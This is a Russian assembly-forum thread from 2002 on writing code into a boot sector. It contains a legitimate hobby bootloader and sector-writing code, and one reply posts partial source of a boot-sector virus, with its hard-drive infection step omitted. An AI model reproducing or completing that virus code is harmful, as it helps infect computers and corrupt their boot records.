Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Загрузка кода в Бут-сектор 
:(
    Опции темы
PoluBOG1
  Дата 22.4.2002, 17:54 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Как определить размер кода, и записать его в бут-сектор (о прерываниях Биоса знаю!;)
  Вверх
Western
  Дата 22.4.2002, 20:34 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Bioso -вское пррывание 13Н , АН=03 - запись секторов (ЕS:BX)
  Вверх
PoluBOG1
Дата 22.4.2002, 20:36 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Да я это знаю! Но вот как поместить код в память What is the qwestion!
  Вверх
Melancholy
Дата 22.4.2002, 22:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 43
Регистрация: 1.4.2002

Репутация: нет
Всего: нет



во первых начальный адрес кода должен быть не 100h (как в COM файлах), а 7C00h... а потом пихаешь этот код на нулевую дорожку дискетки и грузишься с дисеты (можешь на винч, если ты самоубийца)
PM MAIL ICQ   Вверх
PoluBOG1
  Дата 22.4.2002, 23:08 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











В том то и маза, как на нулевую дорожку-то всё кинуть! Я ето и пытаюсь узнать!
  Вверх
PoluBOG1
  Дата 22.4.2002, 23:11 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











И как же всё таки узнать размер кода?!
  Вверх
Baa
Дата 22.4.2002, 23:30 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2639
Регистрация: 12.4.2002
Где: Москва

Репутация: нет
Всего: 12



Возьми исходник какой-нить операционки и посмори как там сделано =)
тот же LILO


--------------------
"Duty is everything; the greatest of joys, the deepest of sorrows" Aribeth de Tylmarande
PM ICQ   Вверх
Chingachguk
Дата 23.4.2002, 01:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1232
Регистрация: 25.3.2002
Где: Москва

Репутация: нет
Всего: 18



Смотри, как инсталлируется "мой"(идеи древние) бут-вирус в дискету:

Код

.286                            ; Virus Size=188h bytes
VirLenght equ offset @@EndOfVir - offset begin
BuffOfs   equ 512              ; Block for MBR
text segment byte public
assume cs:text,ds:text
org   100h
begin:  jmp   @@Install        ; Will be push cs
       dw    07bfeh            ; ... pop ss, mov sp,7bfeh - 1+1+3 = 5 bytes
       call  GetOfs            ; Get Current Offset in si
GetOfs: pop   si                ; si = offset 'pop si' - 1 byte
       sub   si,3+2+3          ; si = "offset" begin
       push  cs                ; 1 byte
       pop   ds                ; ds = 0000h
       cld                    ; Move Strings Forward
       dec   word ptr ds:[0413h]
       mov   ax,word ptr ds:[0413h]
       shl   ax,6              ; Decrease DOS memory by 1 Kbyte(1024 Bytes)
       mov   es,ax            ; es = segment of "hidden" memory
       mov   cx,VirLenght      ; Total Viral Code in bytes
       xor   di,di            ; Move to es:0000h
       push  es                ; All ItSelf Code
       push  offset @@StartVir - 100h
       rep   movsb            ; 2 bytes
       retf                    ; go to es:@@StartVir - 1 byte
@@StartVir:
       push  ds                ; Load Nature MBR or Diskette Boot
       pop   es                ; es = 0000h
       mov   ax,0201h          ; Sectors = 1
       mov   bx,07c00h        ; Standart Place for BOOT/MBR
       mov   cx,cs:[di-3]      ; Road, Sect <- Attention !!! (May Use ds:[si-3])
       mov   dx,cs:[di-5]      ; Head, Diskovod <- Attention !!! (-/- ds:[si-5])
       push  ax                ; Save ax
       int   13h              ; write to 0000:07c00
       pop   ax                ; ax = 0201h
       push  es                ; Be ready to return
       push  bx                ; Push far Ret Address 0000:7c00
; Infect Hard Drive
;       <Пропущено;) >
; Тут, помимо всего прочего, можешь вывести какое-нибудь сообщение
; To Nature Boot/MBR Record
       retf
@@New13Handler:                ; New int 13h handler
       push  si
;       <Пропущено;) >
; ...
Old13h:    
       dw    ?              ; [si]
       dw    ?              ; [si+2]
NumHead    dw    ?              ; [si+4]
CylSec     dw    ?              ; [si+6]
Save_ah    db    ?              ; [si+8]
@@EndOfVir:
@@Install:
       mov   ax,0201h          ; Sectors = 1
       mov   cx,01h            ; Road =0, Sect = 1
       xor   dx,dx            ; Head = 0, Diskovod = 0
       mov   bx,offset DiskBuffer
       int   13h              ; es:[bx] - point to Buffer
       jc    @@Error          ; Disk Not Reading
       push  es
       push  bx
       mov   ah,08h
       xor   dl,dl
       int   13h
       pop   bx
       pop   es
       jc    @@Error
       xor   dl,dl
       mov   NumHead,dx
       mov   CylSec,cx
       mov   ax,0301h
       int   13h
       jc    @@Error
       cld
       mov   si,offset begin
       mov   word ptr [si],0170eh
       mov   byte ptr [si+2],0bch
       mov   word ptr DiskBuffer,053ebh
       mov   di,offset DiskBuffer + 0055h
       mov   cx,VirLenght
       rep   movsb
       mov   ax,0301h
       mov   cx,01h
       xor   dx,dx
       int   13h
       jc    @@Error
@@Exit:
       mov   ax,4C00h
       int   21H ; BACK TO DOS ! - Only Once !
@@Error:
       mov   dx,offset ErrMess
       mov   ah,09h
       int   21h
       jmp   short @@Exit
Done:
ErrMess    db 'Error !','$'
DiskBuffer db 512 dup(?)
Text Ends
end begin


Размер контролируешь сам, смотри, к примеру, за значением VirLenght.
Код необходимо сделать ПЕРЕМЕЩАЕМЫМ(см. код выше) - тогда тебе плевать на смещение 7c00 - или с какого другого он стартует ;)

ЗЫ:  Да, парни правильно сказали - упаси тебя записать в свой MBR чего-нибудь ;))


--------------------
I don't like the drugs (but the drugs like me). M.Manson.
PM MAIL ICQ   Вверх
Melancholy
Дата 23.4.2002, 10:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 43
Регистрация: 1.4.2002

Репутация: нет
Всего: нет



Когда я писал жалкое подобие оси я делал так:
1. асмел бут сектор
;----------------------
ex   equ 019h
text   segment 'code'
      assume cs:text,ds:text
      org 0100h
begin:
jmp sta
      org 07C00h
sta:   jmp short strt
      nop
OS              db      'MELOS'            ; Melancholy Operation System
OSVersion       db      001h,000h,000h
BytePerSector   dw      00200h             ; Байт в секторе
MCylinders      dw      0004Fh             ; Максимальное значение цилиндра
MSectors        db      012h               ; Максимальное значение сектора
MHeads          db      001h               ; Максимальное значение головки
TotalSec32      dd      000000B40h         ; Колличество секторов на диске
SerialNumber    dd      012345678h         ; Серийный номер диска
DiskLabel       db      'NO NAME',9 dup(0) ; Метка диска
System          db      'MFATSFDD'         ; Melancholy FAT System Floppy Disk Driver
Strt:
      cli
      cld
      mov si,offset msg
      call wrt
      cmp Kernelsize,byte ptr 0
      je MP001
      push ds es
      mov ax,kernelsec
      mov bl,msectors
      div bl
      mov cl,ah
      inc cl                     ; Sector
      mov ah,0
      mov bl,mheads
      inc bl
      div bl
      mov ch,al
      mov dh,ah
      mov ax,KernelSeg
      mov es,ax
      mov ah,002h
      mov al,kernelsize
      mov bx,KernelOfs
      mov dl,0
      int 013h
;       call far 01000h:00100h
      db 09Ah

KernelOfs dw 00100h
KernelSeg dw 01000h
      pop es ds
MP001:
      mov si,offset msg2
      call wrt
      xor ax,ax
      int 016h
      int ex
msg    db 'Starting MelBOOT v1.0...',00Dh,00Ah,000h
msg2   db 'Drive without Kernel.',00Dh,00Ah
      db 'Replace the disk and then press any key...',000h
wrt    proc
      mov ah,00Eh
      mov bx,00007h
wrt001:
      lodsb
      cmp al,000h
      je  wrt002
      int 010h
      jmp short wrt001
wrt002:
      ret
wrt    endp

endID  db 055h,0AAh
      org 07DFDh
KernelSec  dw 00001h
KernelSize db 001h
text   ends
      end begin
;----------------
2. компелил его и на паскале писал прогу которая вырезала бут сектор из COM файла и пихала его в бут-сектор...

Вот исходник на паскале:

procedure write2disk(buf:pointer;n:word);assembler;
const
 AbsSectNum:word=0;
 AbsHeadNum:word=0;
 TrkSecs:word=$0012;
asm
{  ; Начало расчета сектора/дорожки/головки}
 mov     dx,n
 mov     cx,[TrkSecs]
 mov     si,dx
{  ; tmp=(Sect/Sectors);}
 mov     ax,si
 xor     dx,dx
 div     cx
 mov     di,ax
{  ; Sec=Sect-(tmp*Sectors)+1;}
 mov     ax,di
 imul    cx
 mov     dx,si
 sub     dx,ax
 inc     dx
 mov     [AbsSectNum],dx
{  ; Hea=tmp & 1;}
 mov     ax,di
 and     ax,1
 mov     [AbsHeadNum],ax
{  ; Trk=(Sect-(Hea*Sectors)-(Sec-1))/(Sectors*2);}
 imul    cx
 push    ax
 mov     ax,si
 pop     dx
 sub     ax,dx
 mov     dx,[AbsSectNum]
 dec     dx
 sub     ax,dx
 mov     dx,cx
 shl     dx,1
 push    ax
 push    dx
 xor     dx,dx
 pop     bx
 pop     ax
 div     bx           {; AX = AbsTrackNum}
{  ; Конец расчетов}
 mov     cx,ax
 mov     al,cl
 shr     cx,2
 and     cl,0C0h
 mov     ch,al
 and     cx,0FFC0h
 mov     ax,[AbsSectNum]   {;      г5T4T3T2T1T0T9T8T7T6T5T4T3T2T1T0-}
 or      cl,al             {; CX =  c c c c c c c c C c S s s s s s}
 les     bx,buf
 mov     dx,[AbsHeadNum]
 mov     dh,dl             {; Номер головки}
 mov     dl,0              {; Номер диска 0 = A}
 mov     al,1              {; Количество считываемых секторов}
 mov     ah,3              {; Номер функции}
 int     13h
end;

var
 f:file;
 n:word;
 buf:array[0..511] of byte;
 i:integer;

begin
 assign(f,paramstr(1));reset(f,1);seek(f,$7B00);
 n:=0;
 repeat
 fillchar(buf,512,0);
 blockread(f,buf,512,i);
 if i>0 then write2disk(@buf,n);
 inc(n);
 write(n,#13);
 until i<512;
 close(f);
end.

как это все работает надеюсь объяснять не надо.
PS код конечно написан кривовато....
pps а размер кода бут-сектора не должен превышать 512 байт.
PM MAIL ICQ   Вверх
PoluBOG1
  Дата 23.4.2002, 23:22 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Cнкс усё работает, повозится правда пришлось:
"shr     cx,2" - команда 286 камня, а в пасе ".286" - не фурычит
пришлось заменить на
" shr     cx,1
 shr     cx,2" Ещё вопрос : как код проги определить, и что будет с винтом, если в его бут записать (заинтриговали!!!!!!!!!!!!;)
  Вверх
Chingachguk
Дата 24.4.2002, 01:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1232
Регистрация: 25.3.2002
Где: Москва

Репутация: нет
Всего: 18



Команды 286 пучково вставляются в пас, только надо подключить их:

Код

{$G+}
begin
asm shr cx,3 end;
end.


Если ты запишешь в MBR что-то не то, то BIOS отчего-то ;) перестанет видеть твой диск(в смысле - грузить с него). Поэтому перед этим ответственным делом обязательно:

- Создай две или больше системных дискет;
- Запиши в файл свой mbr (я делаю просто 512-байтный файл=MBR);
- Создай простую программку(если хочешь, могу дать свою), которая в состоянии записать MBR обратно из этого файла;
- Все это запиши в корень на каждую системную дискету.

Если ты угробишь в ходе экспериментов MBR, то всегда можешь легко его восстановить, если загрузишься с системной дискеты и запустишь восстанавливающий код.

Все это справедливо и для BOOT-а активного раздела винта.


--------------------
I don't like the drugs (but the drugs like me). M.Manson.
PM MAIL ICQ   Вверх
PoluBOG1
  Дата 24.4.2002, 06:42 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Я тут описался :shr     cx,2" - команда 286 камня, а в пасе ".286" - не фурычит
пришлось заменить на
" shr     cx,1
 shr     cx,1"
А прогу я сам теперь напишу (у меня есть исходник проги на асме , кот. читает сектора)

А мазу с вот ентой командой ( {$G+} ), я знаю, но пас меня обматерил и сказал, что не знает что ето. А за код О-о-о-о-о-о-о-о-огромное спасибо!!!
А как прикинуть размер проги ещё в кодах-то?
  Вверх
Chingachguk
Дата 24.4.2002, 11:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1232
Регистрация: 25.3.2002
Где: Москва

Репутация: нет
Всего: 18



Как прикинуть размер проги:

 mov ax,bx
@@BeginOfProc:
 mov ax,0201h
 les bx,DiskBuffer
 mov cx,0001h
 mov dx,0080h
 int 13h
@@EndOfProc:

{...}
mov ax,offset @@EndOfProc - offset @@BeginOfProc {Размер кода между метками}


--------------------
I don't like the drugs (but the drugs like me). M.Manson.
PM MAIL ICQ   Вверх
PoluBOG
  Дата 24.5.2002, 23:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 19
Регистрация: 24.5.2002

Репутация: нет
Всего: нет



Я чё не втыкаю!? - Прога весит 32 Кб , а вбуте как-то помещается, требую объяснить!!! :D
PM MAIL   Вверх
Chingachguk
Дата 25.5.2002, 02:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1232
Регистрация: 25.3.2002
Где: Москва

Репутация: нет
Всего: 18



Какая прога ? Твой экзешник на пасе, который записывает ИЗ СЕБЯ бут ?
Конечно, он >> 512 байт. Погялди то, что записалось в бут - и все станет ясно ;)


--------------------
I don't like the drugs (but the drugs like me). M.Manson.
PM MAIL ICQ   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Asm: Общие вопросы"
MAKCim
  • Проставьте несколько ключевых слов темы, чтобы её можно было легче найти.
  • Не забывайте пользоваться кнопкой КОД.
  • Телепатов на форуме нет! Задавайте чёткий, конкретный и полный вопрос. Указывайте полностью ошибки компилятора и компоновщика.
  • Новое сообщение должно иметь прямое отношение к разделу форума. Флуд, флейм, оффтопик запрещены.
  • Категорически запрещается обсуждение вареза, "кряков", взлома программ и т.д.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, MAKCim.

 
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Asm: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0826 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.